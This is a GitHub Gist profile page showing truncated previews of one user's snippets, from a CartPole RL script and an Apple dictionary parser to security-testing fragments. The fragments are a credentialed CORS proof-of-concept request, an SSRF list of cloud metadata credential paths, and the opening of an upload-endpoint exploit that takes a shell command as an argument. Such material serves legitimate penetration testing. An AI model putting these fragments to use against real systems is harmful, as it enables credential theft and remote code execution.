Skip to content

Instantly share code, notes, and snippets.


Simon simonuvarov

View GitHub Profile
import gym
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.distributions import Categorical
env = gym.make('CartPole-v1')
simonuvarov /
Created February 15, 2023 18:58
A Python script used to self-sample your energy levels
import os
import sys
import time
import numpy as np
import requests
from dotenv import load_dotenv
simonuvarov /
Created September 10, 2020 08:25 — forked from josephg/
Apple dictionaries
# Thanks to commenters for providing the base of this much nicer implementation!
# Save and run with $ python
# You may need to hunt down the dictionary files yourself and change the awful path string below.
# This works for me on MacOS 10.14 Mohave
from struct import unpack
from zlib import decompress
import re
filename = '/System/Library/Assets/com_apple_MobileAsset_DictionaryServices_dictionaryOSX/9f5862030e8f00af171924ebbc23ebfd6e91af78.asset/AssetData/Oxford Dictionary of English.dictionary/Contents/Resources/'
f = open(filename, 'rb')
View cors.html
<textarea class='token' style="width: 800px; height: 250px;"></textarea>
var req = new XMLHttpRequest();
req.onload = reqListener;'POST','{url}',true);
req.withCredentials = true;
req.setRequestHeader('Content-Type', "application/x-www-form-urlencoded")
simonuvarov / cloud_metadata.txt
Created August 17, 2019 04:32 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
View cloud_metadata.txt
## IPv6 Tests
## AWS
# Amazon Web Services (No Header Required)
# from[ROLE NAME]
import requests
from sys import argv
import base64
def main():
url = 'http://' + argv[1] + '/admin/ajax.php?module=music&command=upload'
cmd = argv[2]
multipart_form_data = {
'extension': (None, '0'),
View burpconfig.json